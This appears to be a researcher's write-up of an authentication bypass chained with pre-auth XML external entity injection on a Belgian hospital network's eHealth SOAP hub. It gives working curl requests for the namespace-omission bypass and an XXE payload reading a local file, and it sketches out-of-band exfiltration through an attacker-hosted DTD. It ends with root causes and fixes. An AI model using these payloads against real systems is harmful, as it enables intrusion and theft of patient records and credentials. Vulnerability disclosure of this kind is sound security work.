XXE and Auth Bypass on a Hospital SOAP Service
Target is the eHealth integration hub of a major Belgian hospital network. Handles patient medical records, lab results, discharge letters, prescriptions. Production system, directly on the internet, no WAF, no Cloudflare. The SOAP stack was JAX-WS Metro 2.2.1, built in 2012.
Two findings, and they chain together.
finding 1: WS-Security bypass via namespace trick
The SOAP service enforces WS-Security authentication through SAML 1.1 tokens with XML signatures. But the enforcement is conditional. It only activates when the SOAP body uses the eHealth target namespace.
With the target namespace (blocked):
curl -X POST "https://[TARGET]/services/intrahub/IntraHubService" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:v1="http://www.ehealth.fgov.be/hubservices/protocol/v1">
<soapenv:Header/><soapenv:Body>
<v1:GetTransactionListRequest/>
</soapenv:Body></soapenv:Envelope>'
<faultcode>wsse:InvalidSecurity</faultcode>
<faultstring>Invalid Security Header</faultstring>
Without namespace (bypassed):
curl -X POST "https://[TARGET]/services/intrahub/IntraHubService" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/><soapenv:Body>
<GetTransactionListRequest/>
</soapenv:Body></soapenv:Envelope>'
<faultcode>ns2:Client</faultcode>
<faultstring>Cannot find dispatch method for
{}GetTransactionListRequest</faultstring>
No auth check. The body is parsed, the operation name is looked up
in the dispatch registry, and it returns a dispatch error. The {}
prefix confirms the element was processed with an empty namespace.
Any namespace works as long as it is not the eHealth one.
The WS-Security policy is bound to the operation namespace instead of the transport layer. Skip the namespace, skip the auth.
finding 2: XXE via DTD processing (pre-auth)
With the auth bypass established, next question. What can you do with unauthenticated XML parsing?
The XML parser has DTD processing enabled. I confirmed this through differential response analysis. Three requests, three different server behaviors:
| Request | Entity | Response |
|---|---|---|
| No DTD | None | Cannot find dispatch method |
| Internal entity in text | <!ENTITY e "val"> |
Parser crash: SAXParseException: Internal XSB error: Invalid State=0 |
| SYSTEM entity in attribute | <!ENTITY e SYSTEM "file:///etc/hostname"> |
Different code path: wsse:InvalidSecurity |
If DTD processing was disabled, all three would return the same dispatch error. Instead:
- The internal entity crashes the SAX parser during expansion
- The SYSTEM entity pointing to
file:///etc/hostnamegets resolved and injected into an attribute, altering the parsed XML tree enough to trigger a different code path
curl -X POST "https://[TARGET]/services/intrahub/IntraHubService" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY e SYSTEM "file:///etc/hostname">]>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/><soapenv:Body>
<test attr="&e;">a</test></soapenv:Body></soapenv:Envelope>'
The entity is resolved. With an out-of-band exfiltration setup (external DTD hosted on attacker server), you read files from the hospital hub server. Config files, credentials, potentially patient data.
the chain
- Skip WS-Security by omitting the eHealth namespace
- Server parses XML body without authentication
- DTD processing is enabled on the unauthenticated parser
- Inject SYSTEM entities for file read or SSRF
Zero credentials required. Production healthcare system. Patient records. No WAF between you and the SOAP endpoint.
root cause
Two legacy decisions compounding:
- WS-Security bound to namespace instead of transport. The security interceptor asks "is this an eHealth operation?" instead of "is this request authenticated?"
- Metro 2.2.1 (2012) ships with DTD processing enabled by default. Modern versions disable it.
Fix for the XXE:
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature(
"http://apache.org/xml/features/disallow-doctype-decl", true);
Fix for the auth bypass: enforce WS-Security at the
transport/envelope level, not the operation level. Or put a servlet
filter in front that rejects any POST without a wsse:Security
header.
Upgrading from a 14 year old SOAP stack would also help.